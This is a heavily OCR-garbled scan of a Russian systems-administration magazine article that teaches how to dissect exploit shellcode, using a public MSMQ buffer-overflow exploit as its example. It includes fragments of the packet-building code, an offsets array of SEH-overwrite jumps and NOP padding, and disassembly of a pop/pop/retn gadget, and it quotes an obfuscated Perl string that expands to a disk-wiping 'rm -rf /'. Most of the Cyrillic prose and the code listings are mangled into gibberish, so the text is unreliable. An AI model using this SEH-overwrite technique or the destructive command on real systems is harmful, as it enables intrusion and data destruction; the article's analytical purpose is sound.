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Kpuec Kacnepckun

JKCNNOUTbI, AEMOHCTPUPYIOLLME Hanuuue Ablpbl (proof-of-concept), 06b14HO pacnpocTpaHAOTCSA

B MUCXOAHbIX TEKCTaX, HO OCHOBHOM (pyHKLMOHAN 3aKnio4eH B shell-koge, aHanu3 KOToOporo
npeAcTaBNseT BeCbMa HETPUBMANbHYIO 3aiady, Tpe6yHoLLYH0 HHXXEHEPHOr0 CKNaja yma,

Pa3BUTO UHTYULMN, OOGLIMPHBIX 3HAHWA WU... 3HAHMA CNeLnanbHbIX NPUEMOB JU3aCCEMONNPOBAHMS.

006LLeHNs 0 fblpax NosBASITCS
NocTosiHHO. CTOUT TOMbKO 3arns-
HYTb Ha www.securityfocus.com

W... yXacHyTbCs. Kaxabin AeHb NpUHO-
cut no 10-20 HOBLIX AbIp, 3aTparvea-

58

IOLLMX NPaKTUY4eCKM BeCb CNEKTp an-
napaTHoO-NporpaMMHoro obecneyexus.
Bbl fo cvx nop nonbayetecs FireFox, cuu-
Tas ero 6e3onacHbiM? [1a kak 6bl He Tak!
3a cBOe Hefonroe Bpems CyLlecTBoBa-

HWA OH ycnen obpacTyh NONyCOTHEN AbIp,
B TOM 4uCne U KpUTMUYECKMX. JlagHo, oc-
TaBum FireFox B nokoe 1 BoO3bMeM 6pa-
3y3ep Opera — no4T ABa fecATKa owu-
60K (M3 KOTOpbIX 17 3aperncTpupoBaHo

CUCTEMELIaAMUHUCTPATOD
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Ha 0fHOM NnLb www.securityfocus.com)
6bICTPO MPOYMLLAIT MO3TM OT peknam-
HOW LWenyxu, no3uuunoxunpytoen Opera
HE TOJSIbKO Kak CaMblil 6bICTPbINA, HO U NO-
HacTosweMy 6e3onacHbin 6paysep.
YA3BMMOCTU BCTPEYAKOTCS Jaxe B Tek-
CTOBbIX 6pay3yepax Hanogobue Lynx.
Mpo Internet Explorer ny4we Boo6Le
He BcrnomuHats! CTout nn nocne 3Toro
YOVBASATBHCS, YTO YEPBU PA3MHOXAKOT-
CS1 CO CKOPOCTbIO IECHOrO NnoXapa 1 pe-
rynsapHoO KnagyT uensle cermeHTsl Cetu,
ecnu He Becb MHTepHeT!

MporpamMmHoe obecnevyeHne HeHa-
pexHo. lNpepgocTaBneHHoe camomy ce-
6e, 6€3 yxofa v Hag3opa agMUHUCTpa-
TOpa OHO ObICTPO CTAHOBUTCA XEPTBOM
XaKepckKux artak, npespallasch B pac-
CcafHuK BMpPYCcOB U Yepsei. Ecnu yaseu-
MOCTb 3aTparvBaeT Te€ KOMMOHEHTbI CUC-
TEMbI, 6€3 KOTOPbIX MOXHO ¥ 060WTUCH
(Hanpumep, Message Queuing nnu RPC
DCOM), nx MOXXHO OTKJIOUUTb UK Orpa-
OuTb 6panamayapom. B npoTuBHOM chy-
yae, He06XOAMMO YCTaHOBMUTL 3annaTky
OT «pPOQHOr0» MPOM3BOAMTENS UMK CTO-
POHHUX MOCTaBLLUMKOB. [Tpobriema B TOM,
4YTO o(hmumancHble 06HOBIIEHWS 3a4ac-
TYI0 BbINYCKAOTCSA NULLb Yepes3 HECKOMb-
KO MecsaLeB nocne ouuManbHOro xe
MPU3HaHUA Oblipbl. A CKOMNbKO bIp TaK U
OCTaIOTCH «HEMPU3HAHHBIMU»?

MponssoguTenen NporpammMHoOro
06€ecneyeHns MOXHO NOHATh: Befb npe-
X[e, Yem npu3HaeaTtb Ablpy AbIPOiA, He-
06X04MMO YO6eamUTbCA, YTO 3TO UMEHHO
LbIpa, a BOBCE HE «aBTOPCKOE BUAEHWE
(PYHKLMOHASIBHOCTU» N [OOUTHLCH YCTOM-
4YMBOrO BOCMNPOM3BEAEHNS CO0S. Y MHO-
TMX KOMMaHWA CyLLecTBYET MONMTHKA
3aManyuBaHus oblp 1 ya3BUMOCTb MO0
MOf4a yCTPaHseTcsa ¢ BbIXOAOM o4vepes-
HON Bepcumn npopykTa (KyMynsaTUBHOIO
naketa o6HOBNEHWS), MO0 He ncnpae-
nsetca BoobLue! fApkui npumep Tomy —
ysi3BuMocTb «MS IE (mshtml.dll) OBJECT
tag vulnerability», o6HapyxeHHas 23 an-
pensi 2006 (cm. /pipermail/full-disclosure/
2006-April/045422.html), 1 BCe ewle
He npuaHaHHas Microsoft.

YT106bI a4MUHMCTPATOP MOr cnaTb
CMOKOWHO U He fiepraTtbCs Kaxable NaTh
MWHYT, NbiTasgCb 0OHAPYXWUTb B Norax
6paHamayapa «4T0-TO HeOObI4HOE», Nep-
BbIM AENOM HEOOXOAMMO BbIACHUTH —
LEeCTBUTENBHO M BBEPEHHAS EMY CUC-
Tema yassuma? [laneko He BCEM CO06-
LLLEHUAM O Ablpax MOXHO BepuTb. 10 06-
LLENPUHATON NpakKTUKe, NepBOOTKPbIBA-
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PucyHok 1. YCTpOiCTBO makera-yGuiflE, NepefaBaeMOTO Ha aTaKyeMll CepBep

Tenb AOblpbl JOMKEH NOATBEPAUTL CBOU
cnosa nporpamMmmon, [eMOHCTPUPYIO-
LLiel Hann4me ya3BUMOCTM, HO He CoBep-
LUAOLLEN HUYero fecTpykTusHoro. B 3a-
py6exHon nuTepaType oHa Ha3blBaeTCs
exploit proof-of-concept.

YacTo K aKCnnouTy npunaraeTcs ne-
peyeHb TecTupyemsbix (tested) u ysassu-
mbIx (affected) nnatdpopm v BCe, 4TO He-
06xoAMMO cpaenatb, — 3TO 3anycTuThb
3KCMIOWUT Ha CBOEN CUCTEME U MOCMOT-
peTb, CMPaBUTCA MW OH C HEW UNK HeT.
EcTecTBeHHO, atakoBaTth «XWBOW» cep-
BEP WM OCHOBHYIO paboyyto CTaHLMIo
MOXET TONbKO camoybumiiLa (Mm o4eHb
6e30TBETCTBEHHbIV YeNIOBEK) 1 BCE MO-
TEHUManbHO onacHble 3KCNepuMEeHTbI
cnepyeT BbIMOMHATL HA «KONUK» Cep-
Bepa/paboyeit cTaHuumW, cneunansHo
npefHa3Ha4YeHHoON Ana TecToBbIX Le-
nein. Mog VMWare n gpyrumu amynsto-
paMu nNofo6HOro TMNa SKCMOUThI Nlyy-
Le He 3anyckaTb. Bo-nepsbix, psg Bpe-
[OHOCHbIX 3KCMONTOB pacro3HaeT Ha-
n4ne BUPTYasbHbIX MALUMH M OTKa3bl-
BaeTca pabortaTb. Bo-BTOPbIX, BbIpBaTH-
CA U3 3aCTEHOK BMPTyanbHOW Malluu-
Hbl BMOJIHE peanbHo (CM. cTaTbio «[lo-
6er ns-nog VMWare», KOTOpY0 MOX-
HO ckayatb ¢ ftp://nezumi.org.ru/pub/
vm-escape.zip).

OTpuuaTtenbHbln pe3ynbTaT cam
no cebe eLle HWYero He AoKasblBaeT.
[Jaxe ecnu ataka He yganacsb, y Hac HeT
HUKaK1X OCHOBAHWMI CYUTaTh, YTO CUC-
Tema Haxogutcs B 6esonacHocTut. U aTo
He napaHons, a pearnbHbl hakT, ¢ KOTo-
pbIM CriefyeT cHnTaTbes. BO3MOXHO, 3T0
MPOCTO 3KCMNOUT TAKOW KPUBOM, HO CTO-
WT ero crnerka noanpasuTb, Kak CrncoK

nopaxaeMblX CUCTEM 3aMeTHO Bo3pac-
TeT (TeM 60f1ee 4TO 6ONbLUMHCTBO 3KC-
NNOMTOB 3aKflagbiBaeTcs Ha UKCUPO-
BaHHblE agpeca, BapbupytoLLmMe OT BEp-
CUM K BEPCUU, MOITOMY IKCMIIOUT, pas-
paboTaHHbIN NS aHrIMINCKON BEpCUM
Windows 2000, moxeT He paboTaTb
B PYCCKOM 1 HA060pOT).

JKCNNonTbl 06bIYHO 3anyckatoT
LN YOOBNETBOPEHMS YyBCTBA COOCTBEH-
HOro NOOMNbLITCTBA. HNKAKOM XXM3HEHHOM
HEOOXOAMMOCTH B 3TOM HeT. [1pocTo UH-
TEPECHO W Hu14ero 6onee. Ho nayunts Kog
3KCMNMouTa, 4To6bl 3HaTb, YTO Bbl BOOOLLE
3anyckaeTe, NONYTHO yCTpaHAs OLING-
Ku, OOMyLLEHHblE ero paspaboTymkamu
n agontupys shell-kog K cBoen cucte-
Me, KOPPEeKTUPYS (OMKCUPOBAHHbIE afpe-
ca npu HeoHXOAMMOCTH, HUKOrAa He no-
MeLLaeT.

Kak npenapupyior
JKCNNOUTDbI

OcHOBHOM KO 3KCNI0MTa, Kak npasuio,
MULLIETCS Ha NEPEHOCUMBIX BbICOKOYPOB-
HeBbIX f13blkax, Takux kak Cu/Cu++, Perl,
Python. Ok3oTrka Trna Ruby BcTpeyaeT-
CSl HAMHOTO PEXE, HO BCEe-Taku BCTpeya-
eTca. B npakTnyeckom nnaHe 3to 03Ha-
4aeT, 4TO uccnepoBaTenb JOMXEH Bna-
LETb NEeCATKOM NONysipHbIX A3bIKOB XO-
TS 6bl HA YPOBHE 6Ernoro YTeHms nuc-
TUHroB. Brnpoyem, B AeBATM U3 pgecsi-
TV CINy4aeB, HUYEr0 UHTEPECHOTO B HUX
He BCTpeYaeTcs, 1 BeCb 60eBON 3apsig
KOHLIEHTPUPYETCS B «Marn4eckux» cTpo-
KOBbIX MaccuBax, 0(DOPMJIEHHbIX B CTU-
ne «\x55\x89\xE5...\xC7\x45\xFC». Bot
aTo u ecTb shell-kog B ASClI-npegcTas-
NeHun. BbICOKOYpOBHEBSI KOJ, — BCETO
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JivcTvHr 1. $parMeHT SKCIUIONTA, OTBETCTBEHHHM 3a COOPKY naKeTa-yGuiip

// BHmensieM namsTH

buff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff;

// RPC-BaronoBxu

memcpy (ptr,dce rpc_headerl,sizeof (dce rpc headerl)-1) ;ptr+=sizeof (dce_rpc headerl)-1;
memcpy (ptr, tag private, 51zeof(tag_pr1vate) 1); ptr+-s1zeof(tag_pr1vate) -1;

memcpy (buf£+1048,
memcpy (buf£+1048*2, dce :  rpc | _header2, sizeof (dce :  rpc | _header2)-1) ;

memcpy (buf£+1048*3, dce :  rpc | header3, sizeof (dce : . rpc | header3)-1) ;

// offsets
ptr=buff;ptr+=438;

memcpy (ptr, offsets, sizeof (offsets)-1);ptr += sizeof (offsets)-1;

// shellcode
memcpy (ptr, bind shellcode, sizeof (bind shellcode)-1);

nvwb o6epTka, 06pasHoO roBops, TeTMBa UM NyCcKoBas ycTa-
HOBKa, a shell-kog — passLlee ocTpue.

MHorve nccnegosareny [onNyckawT POKOBYH OLUMOKY:
aHanuaunpys shell-kog, oHu 3a6bIBAIOT O TOM, YTO OCHOBHOM
KoL TakXe MOXeT cofepXaTb BPeAOHOCHbIE MHCTPYKLUK Ha-
nogo6ue «rm -rf /». Mpu 3HaHUK 93blka NAKOCTU NOAOGHOro
Tuna obHapyxusarTcs 6e3 Tpyaa, eCnu, KOHEYHO, 310YMbILL-
NEHHUK HE CTPEMUNCS BOCMPenATCTBOBAThL aHannay. CylecT-
ByeT Macca Cnoco60B 3aMackmpoBaTb BPEAOHOCHI koA B 6e-
300MIHbIE KOHCTPYKLUMMW. B3sTb XOTA Gbl CTPOKY «'$?7?s:;s:
$;;87:8;=]=>%-{<-[}<&I'{;;y; -L- @[ {-};-{/" -;;;;8_;see'», pas-
BOpa4nBaemyto a3bikoM Perl B KomaHgy «rm -rf /», KoTopas
npv 3anycke n3-nog root yHMYTOXaeT BCE COAEPXUMOE AuC-
Ka LeSIMKOM.

OrTctoaa BbIBOA: HUKOrAa HE 3anycKanTe Ha BbINOSIHEHWE
KOZ, CMbICI1a KOTOPOro 0 KOHLIA HE MOHMMAaEeTe 1 Y TeM 6onee
He AaBaWiTe eMy agMUHUCTPATOPCKMX nofsHomouui! He nog-
faBanTechb Ha nposokauuto! [laxe Ha aBTOPUTETHLIX camTax
MPOCKaKMBAIOT IKCMSIONTHI, CO3LAHHbIE C OQHOW-EONHCTBEH-
HOW LiefIbl0 — OTOMCTUTb, ECIIM HE BCEMY YESI0BEYECTBY, TO XO-
T8 6bl ero yactu. NomHuTe, YTO camas 6osbluas Ablpa B CUC-
TEMe — 3TO YesI0BEK, 3HAKLLMIA Naponb root (agMMHMCTpaTo-
pa) v 3anyckarwLumii Ha paboyer maLlm-
He Bce 6e3 pasbopal

Bonblue Ha aHanu3e 6a30BOro Ko-
[a Mbl OCTaHaBnMBaTbCA He 6yaem (ec-
NV Bbl 3HAETE A3bIK — 3TO TPMBUAIILHO,
€CNN HeT — He HafenTechb, YTo aBTopy
yOanocb ynoXuTb MHOrOCTPaHWU4Hble
PYKOBOLCTBA B CKPOMHbIE paMKu Xyp-
HanbHOW cTaTbk).

"\xEB\x08\x90\x90"

"\xE9\x14\x40\x00"

/* :LAB OAh */
Ananu3 message queuing
JKcmjioutTa

OpHoro nuwb 3HaHWA accembnepa
1 APl-onepaumoHHON cucTembl 4nsa uc-
cnefosaHnus shell-koga 6ygeT sBHO He-
[OCTaTo4HO. 3[ecChb BCE CIIOXHEE W...
nHTepecHee. MNpoaeMOoHCTprpyeM Tex-
HUKY gu3accembnmposanus shell-koga
(co BCEMW COMYTCTBYOLWMMI EN NpU- "\x4d\x12\x00\x01"
emamu 1 Tplokami) Ha npumepe aHann- @ /1!
3a «Message Queuing Buffer Overflow
Vulnerability Universal» eakcnnou-
Ta (http://milwOrm.com/exploits/1075),

"\xEB\x08\x90\x90"

"\xE9\x14\x40\x00"

/* :LAB 1Ah */

"\xEB\x06\x90\x90"

/* :LAB 36h */

dce rpc header2, sizeof (dce rpc header2)-1);

JiucTurr 2. MaccuB offsets xpawmr nmopmoxHbie
ONepalMOHHHX CUCTEM, Nepefanuye ynpaBleHue

/* mgsvc.exe - pop reg; pop reg; retn; */

"\x90\x90\x90\x90\x90\x90\x90\x90"

/* entry point (jmp over) */

/* mgsvc.exe - pop reg; pop reg; retn; */

"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73"
"\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41"

/* entry point (jmp over) */
/* mgsvc.exe - pop reg; pop reg; retn; */

"\x90\x90\x90\x90\x90\x90" ; 3

OTCHAa HAauMHAETCS aKTyanbH shell-xog

npunaraemoro K ctatoe B pavine 1075
(cm. cant www.samag.ru, pasgen «Mc-
XOAHbIA KoA»). BasoBbi KOg, Hanu-
caHHbIn Ha f3blke Cu, paccmatpuBaTb
He 6yneM, a cpasy nepengem K shell.

Camoe cnoxHoe — 370 onpepe-
NuTb TOYKY BXxofda B shell-kog, TO ecTb
TY TOYKY, KOTOpOW BydeT nepefaHo yn-
paBneHve npu nepenonHexnun. B pax-
HOM CJly4ae Ham NoBesno, 1 Co3aaTenb
3KCMnouTa CTPYKTYpPUpOBan NUCTUHT,
pas3buB [BOMYHbIE AAHHbIE HA LIECTb
MacCMBOB, NepBblE YeTbIpe U3 KOTO-
pbix (dce_rpc_header1, tag_private,
dce_rpc_header2 un dce_rpc_header3) npepctaBnstoT co60M
3aronoskun RPC-nakeToB, B KOTOPbIX ANS1 HAC HET HAYErO WH-
TepecHoro.

A BOT MaccuB offsets BkntoHaeT B cebs KnoyeBblie CTPYK-
Typbl OaHHbIX, Nepegatowme ynpaenenume Ha shell-kog. Cno-
co6 nepepaym ocHoBaH Ha nogmeHe SEH-dperimoB no yco-
BEPLUEHCTBOBAHHON MeTOAMKe, 06XOAsALEeN 3alnTy OT ne-
penonHerus, nossmswytocs B Windows 2000, Windows XP
n Server 2003. /1 X0Ta 3TO HE OTPAXEHO B KOMMEHTaPMSIX AB-
HbIM 06pa3om (co3patenu shell-kogoB TpaaNLMOHHO Hepasro-
BOPUMBbI), OMbITHbIE KOLOKONATENN PACNO3HAIT MOANOXKHbIE
hpeiiMbl ¢ NepBOro B3rnsaa (Tem 60nee YTo Koe-Kakmne Kom-
MeHTapuu TaM BCe-Taku NPUCYTCTBYIOT, HO Jaxe ecnu 6bl UX
1 He 6bIN10, 3TO HE CUMbHO Obl 3aTPYAHMIIO aHanna).

OcHoBHas YacTb shell-koga (pacnonoxeHHas B mMaccvBe
bind_shellcode) cuctemHo He3aBucuma (Hy, NoyTy), a Bce k-
CUPOBaHHbIE afpeca BbiHeCeHbI B MaccyB offsets, KoTopbivi npu
TECTVPOBaHWM MOA Pa3NMYHbIMM BEPCUAMU ONEPALMOHHBIX CUC-
TEM UMEET HarnocTb TPe6oBaTh «pPy4HOW» Koppekuun. [axe
MPW HaIMYMK He 3anaTaHHoN Lblpbl 3KCMIOMT MOXET He pa6o-
TaTb TONbKO NOTOMY, YTO NO (OMKCMPOBAHHBIM afpecam pacrno-
NOXEHO He TO, 4TO oxmganock. Ho npexze, 4em npucTynatb

SEH-QpeiiMs! [T HECKONBKMX
ua shell-xog

unsigned char offsets[] =
/* entry point (jmp over) */

// SEH-FRAME for Windows 2000
// ! *prev | jmp lab_OAh !

// nopBop SEH-ppeiMa mns w2k server

// SEH-FRAME for W2K Server/Adeerver
// ! *prev | jmp lab_1Ah

; // nop6op SEH-ppeimMa ans XP
; /] «BAGhouseofdabusHA»

// SEH-FRAME for Windows XP
/! *prev | jmp lab 36h !
/

*handler !

// ne sHauamue NOP

CUCTEMELIaAMUHUCTPATOD



K aHanuay maccusa offsets, He06x04MMO ONpeaennTsL ero Mec-
TOMOMOXEHME B NakeTe-ybuiiLe, BbI3bIBAIOLLEM NEPENONHEHME.
MNpvBedeHHbI hparmeHT 6a30BOro Koda cobmpaeT BCe Mac-
CVBbI B HEMNpepbIBHbI 6ydep, NnepegaBaemMbii Ha atakyemsblii
cepsep (CM. nMcTUHr 1).

BHavane naketa (cm. pmc. 1) pacnonaraetca RPC-3aro-
noBok dce_rpc_header1, 3a Hum npget NetBIOS-ums atakye-
MOro y3na u Ter private. Ha HekoTopom oTgasneHmmn ot Ha4ana
3aronioBka, no cmelleHuio 438 (1B6h) nexmt maccums offsets,
cpasy 3a KoHLOoM koToporo nget shell-kog. [laneko 3a HUM 06-
HapyxuBaeTca ewe ognH RPC-3aronosok dce_rpc_header2
ndce_rpc_header3 (Ha puc. 1 He nokasaH). Bce ocTanbHoe
NPOCTPaHCTBO Naketa 3anosiHeHo komaHgamu NOP (90h).

MNpouecc hopmMmpoBaHus NakeTa XopoLLo HabnoaaTe Nog
0TNagyMKoM (B JaHHOM cnyyae ucnonb3osancs Microsoft Visual
Studio Debugger) nnn nepexsatuTb yxe rotoBblii NaKeT, UC-
nosnb3ays sniffer.

Cpa3y xe BO3HMKAEeT BOMPOC — B KAKOM MMEHHO MeCTe BO3-
HUKaeT NepenosiHeHne 1 KakuM MMEHHO 06pa3om NPoUCXoamT
nepepadya ynpasnexust Ha shell-kon? 3anyctes MSMQ-cnyx-
6y nopg OTNAA4YMKOM, Mbl YBUAWM, YTO Maccue offsets noxmT-
¢ npsamo noeepx SEH-tperima, nogmeHsist ero copgepXxmnmoe,
a shell-kog 3atupaet agpec Bo3BpaTa 13 (PyHKUMW, 3aMeHAS
RET npon3BonbHbIM aBpecoMm, yKasblBaroLLM B «KOCMOC», PK
obpaLleHnn K KOTOPOMY BO30YXAAETCH UCKIKYEHNE W... YN~
paBneHne nosyvaeT nognoxHeln SEH-cpeinm, nepegatomi
ynpasneHue Ha shell-kog. Bce npocto! MmaBHoe — oTnagymk
umeTb! W... ycTaHoBneHHyto cnyxoy Message Queuing, koTo-
pOR B pacrnopsiXXeHun Kogokonartens MoXeT v He 6biTb. K TO-
My Xe Mbl JOrOBOPUIIUCH, MPeXAe Yem 3anyckatb 3KCMIouT
(nycTb gaxe nog oTnagyMkom!), cHavyana pekoHCTPyMpoBaTb
€ro anropuTm.

A Kak Mbl €ro MOXEM PEKOHCTPYMpOoBaTh? XopoLuas rosioBo-
nomka gnsa 3Hatokos! OTépocns RPC-3aronoBku, Mbl 0OCTaem-
¢ Tonbko ¢ maccuBoM offsets u shell-kogom. O4eBnaHoO, cme-
LeHne maccua offsets BbIGpaHO He cny4anHo U UrpaeT B ne-
penosiHeHNM BeQYLLYIO poSib, NOCKOJbKY bind_shellcode npeg-
cTaBnseT Co60M BNosiHe «CTaHapTHbIN» shell-kod, BcTpeyato-
LLMIACA BO MHOMMX APYrvX 9KCMAOUTaxX U COBNAfaLLMiA C HM
6anT-B-6aMNT.

PaccmoTpum maccuB offsets nobnmxe (CM. IMCTUHT 2).

B Havane maccua pacnonoxeHa JOBOMIbHO XapakTepHas
CTPYKTYpa, COCTOALLAs N3 ABYX ABOVHbIX CII0B, MEPBOE W3 KO-
TOPbIX BKJIIOYAET B Ce651 [1BYXOANTOBYIO KOMaHZy 6€3yClI0BHOMO
nepexoaa JMP SHORT (onkop — EBh), fononHeHHyto [0 ABOWA-
Horo cnoea napon NOP (Bnpo4em, NOCKONbKY OHW BCE PaBHO
HE UCMOMHAKTCA, 30eCb MOXET BbIThb BCE, 4TO yrogHo). Cnepny-
foLee 4BOMHOE CI0BO YKa3blBaeT KyAa-To Briybb afpecHoro
npoctpaHcTea — 004014E9h u, cyns no 3HaveHuto, npuHaase-
XXUT NPUKNaAHOMY NMPUIOXeHU0. B faHHOM criyqae —nporpam-
Me mqsvc.exe, peanuaytoLen cnyxe6y Message Queuing. Kom-
MEHTapuin, 3a60T/IMBO OCTABMEHHbIA CO34aTENEM IKCMIONTA,
rOBOPWT, YTO MO 9TOMY aAPECY OH OXMLAET YBUAETb KOHCTPYK-
Lmto pop reg/pop reg/retn. 1o Knaccuyeckas nocnegoBaTenb-
HOCTb, UCNONb3yeMas Ans nepefaqn ynpaBneHms Yepes nog-
noxHole SEH-hpeliMbl, NOAPO6HO ONMCaHHas B CTaTbe «3IKC-
nnyatvposanue SEH B cpepe Win32» (http://www.securitylab.ru/
contest/212085.php), HanucaxHoi houseofdabus. OH xe Hanu-
can n paséupaemblii HAMK IKCMIOUT.
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PucyHok 2. Pacnonoxerue SEH-(peiiMOB OTHOCUTENBHO
nepenonHsiouMxcst 6ydepon

JonycTuM, HUKaKoro KOMMeHTapus y Hac 6bl He 6bi1o.
W uto Torga? 3arpyxaem masvc.exe B hiew, 4BONHbIM HaXa-
Tem knasuwm <ENTER> nepexogmm B gusaccem6epHbIi pe-
XUM, Haxxumaem <F5> 1 BBognum agpec «.4014E9» (Touka yka-
3bIBAET, 4TO 3TO UMEHHO afipec, a He CMeLLeHue).

Bugnm:

JiucTuur 3. locnenoBaTensHOCT: pop reg/pop reg/retn,
copepxamasicas B daine mgsvc.exe

; BHTOJKHYTB ONHO NBOMHOE CJIOBO M3 CTeKa

.004014E9: 5F pop edi

; BHTOJIKHYTB ClIefyKilee NBOMHOE CJIOBO

.004014EA: 5E pop esi

; BHTKHYTBH afipeC BOBBpaTa ¥ NepefaTk IO HEMy yNpaBleHue
.004014EB: C3 retn

EcTecTBEHHO, fiaHHbI cNoco6 He YH1BepCcaneH 1 BoobLLe
roBOPSi HEHaLEXEeH, MOCKOIbKY, B IPYroi BEPCUMM MQsve.exe
afipec «mMarn4ecko» nocnefoBaTenbHOCTU HaBepHsKa 6yaeT
nHow, xots B Windows 2000 Home, Windows 2000 Professional,
Windows 2000 Server/AdvServer agpeca cosnagatoT, noc-
KOMbKY MCMOb3YeTCA OfHA W Ta XE Bepcus mgsvc.exe, a BOT
B Windows XP afpec yxe «ynnbiBaet».

VHTYUTMBHO Mbl YyBCTBYEM, 4TO Mepefadva ynpaBneHus
Ha shell-kop ocywecTensaetca Yepes RET, HO ocTaeTtcs He-
MOHATHLIM KakuM 06pa3om ykasatenb Ha shell-kog mor ouy-
TUTbCA B CTEKE, Beflb HUKTO TyAa ero fABHO He 3ackinan! 3a-
nuxaTb B NepenoHaoLLmnca 6ydep MOXHO BCE, HTO YrogHo,
HO MpW 9TOM NPUAETCA yKa3aTb TOYHbIN afpec pa3meLleHns
shell-kopa B namsTn, a 4ns 3Toro HEO6XOAMMO 3HaTb 3HaYe-
Hue pernctpa ESP Ha MOMEHT ataku, a OHO B 06LLEM Cyyae
HEN3BECTHO.

CTpyKTYpHble UCKIOYEHNS MO3BONSIOT AEraHTHO PeLLnTb
3Ty 3apady. BmecTo TOro, 4To6bl 3aTMpaTh afpec Bo3spara
(KaK genano aTo Lienoe NoKNoHeHve Kofokonarenem), Mbl nog-
MeHsieM opurmHanbHein SEH-tpeiim atakyemon nporpaMmel
cBouM. TeopeTunyecku, SEH-dperimbl MOryT GbITb pacnosioxe-
Hbl B J060M MecTe, HO MPakTU4YeCKU BCE M3BECTHbIE KOMMHU-
NATOPbI Pa3MELLAIOT UX B CTEKE, HA BepLUMHE Kaapa, npuHa-
Anexatlero gaHHom dyHKLMK, TO eCTb N0 COCEACTBY C COXpa-
HeHHbIM EPB 1 RET:
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JucTuHr 4. $parMenT Qynkmym, dopmupywumii HOBW SEH-(perm
(xoMmunarop - Microsoft Visual C++)

; OTKPHTBL HOBBIA. ..

.text:0040104D push ebp

8 ...Kajp crexa

.text:0040104E mov ebp, esp

; ®To nocnenumit SEH-dpeim

.text:00401050 push OFFFFFFFFh

; mpemwecTByloumit SEH-o6paboTumk

.text:00401052 push offset stru_ 407020
; HOBHI SEH-o6paBoTumk
.text:00401057 push offset _except handler3

; TONyuMTH ykasaTenb Ha SEH-pperm
.text:0040105C mov

; npemmmyumit SEH-o6paboTumk
.text:00401062 push eax

; BapermcTpupoBaTh HOBHN SEH-(peiM

.text:00401063 mov large fs:0, esp

eax, large fs:0

Otcropa: ecnv Mbl MOXEM 3aTepeTb afipec BO3Bpara, nogme-
Ha SEH-chpeima He COCTaBMT HUKaKMX Npo6nem (cM. puc. 2)!
Cama cTpyKTypa thperimoB npocTa Ao 6e306pasms:

JucTuur 5. Crpykrypa SEH-dpeiiMoB

struct EXCEPTION REGISTRATION

{

// npepsimyumit SEH-ppesin

/* 00h */ EXCEPTION REGISTRATION *prev;
// 0BpaBoTuMKk MUCKIOYEHUS
/* 04h */ DWORD

}bi

*handler;

MepBoe [BOWHOE CNOBO YKa3blBaeT Ha npenblayLmin SEH-
thperim B Lenoyke (ecnm TeKyLmMii 06paboTHMK He 3HAET, 4YTO
[ienatb C UCKIII0YEHNEM, OH OTAAeT ero npepbigyLieMy obpa-
60THUKY; €CNN HW OOMH U3 06PabOTHMKOB HE MOXET 06pabo-
TaTb UCKIIOYEHNE, ONEPaLMOHHasa CUCTeMa BbibpachiBaeT 3Ha-
MEHUTOE COOBLLEHNE O KPUTNHECKON OLLMOKE M 3aBepLUaET pa-
60Ty NPUNOXEHNSA B aBAPUIAHOM PEeXMME).

CnepytoLLiee IBOVHOE CIOBO COOEPXUT afpec npouenypsbl
06paboTymMKa NCKNIOYEHNI (He NyTaTb C PYHKLMER-DUNLTPOM
NCKIOYEHWUIA, KOTopas 06CNyXMBaTbCA He ONepaLMOHHOM CUC-
Temon, a komnunatopom!). O4eHb 3amMaH4MBO 3anmcatb Cho-
[a ykasatenb Ha shell-kog, HO BCa npo6siema B TOM, 4TO 3TOro
yKasartens Mbl He 3HaeM ¥ B 06LLIEM CNy4ae HE MOXEM y3HaTb!
Ha camom gene cutyaums He Tak yx nnayeBHa.

PaccmoTpum npouecc 06paboTKku UCKIKHYEHUI NOBHUMA-
TenbHee. B TOT MOMEHT, Korfa npyknagHow Ko nbitaeTca cae-
naTb YTO-TO HeJONyCTUMOE, MPOLECCOP FreHepUpYyeT NpepbiBa-
Hue. OnepaumoHHas cucTema nepexeathiBaEeT ero v nepefaet
BHyTpeHHen dyHkuum KiUserExceptionDispatcher, cogepxa-
wercs BHyTpu NTDLL.DLL. Ta B cBOO 04epenb Bbi3biBAET NPO-
MexXyTo4Hy dyHKumto RtlUnwind (Bce na Tovi>xxe NTDLL.DLL),
nepeaaroLLyto ynpasneHve UnsTPy UCKIOHEHUIA, yCTaHOBIEH-
HbIM KOMNUAATOpOM (B cnyyae Microsoft Visual C++ aTta dyH-
Kums HasbiBaeTca __except_handler3), koTopas u Bbi3biBaeT
NpuKnagHon 06paboTHmK, 3aperncTprpoBaHHbIi NporpaMMmuc-
TOM YA3BMMOTO MPUITOXEHUS.

MonyyaeTcs cnepyroLLias Lenoyka BbI30BOB:

JiucTuer 6. locnefoBaTeNLHOCT: BH3OBA QyHKUmi mpy obBpaBorke
VCKIOYEHUS

NTDLL.DLL!KiUserExceptionDispatcher —
NTDLL.DLL!RtlUnwind — except handler3

B Windows 2000 cyHkuma NTDLL.DLL!RtIUnwind ocTas-
NSET HEMHOrO «Mycopa» B Perncrpax, B pesynsrate 4ero
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B EBX nonaget agpec Tekywiero SEH-cperima. A 310 3HauwT,
4TO ANA OOCTVMXKEHUS 3ayMaHHOM LENW Mbl JOMKHbI MOBEPX
handler nomectuts ykasarens Ha komaHgy JMP EBX (FFh E3h)
nnun CALL EBX (FFh D3h), KoTopyto MOXHO HaliT1 KaK B Camoi
atakyemou nporpamme, TaK v B namsaTh onepaLMoHHOM cucTe-
Mbl (€CTECTBEHHO, afpec 6yaeT «nnaBaTb» OT BEPCUM K Bep-
CUK, YTO €CTb HEN36EXHOEe 3110, HO C 3TUM HaLO CMUPUTLCA).
Torpa npv BO3HWKHOBEHUM UCKMIOYEHWS ynpaBneHune 6ynet
nepefaHo Ha [BOMHOE CIIOBO, CofepXallee yKasaTenb prev.
Ha-na! He no ykasatento prev, a UMEHHO Ha caM ykasaTerb,
KoTopbIii cnenyeT 3ameHnTs Ha JMP SHORT sellcode. Moc-
KOMbKY KOMaHfbl nepexofa B x86-npoLeccopax 0THOCUTENb-
Hble, 3HaTb TOYHOE pacnofioxeHune shell-koga B namsaTh yxe
Heobs3aTenbHO.

B Windows XP aTa naseika 6bina npukpeita, Ho! Octanach
dyHKuMa-punetp __except_handler3, Bxogswasn B coctas RTL-
KOMNUNATOpa, a NOTOMY HWKaK He 3aBuCALLas OT OnepaLmoH-
HOW cucTembl. PAacCMOTpUM OKPECTHOCTM AM3accembnepHoro
Kofa, nepeparoLLero ynpasneHme Ha 3aperncTpupoBaHHbIii
NporpaMMMcTOM 06paboTHUK.

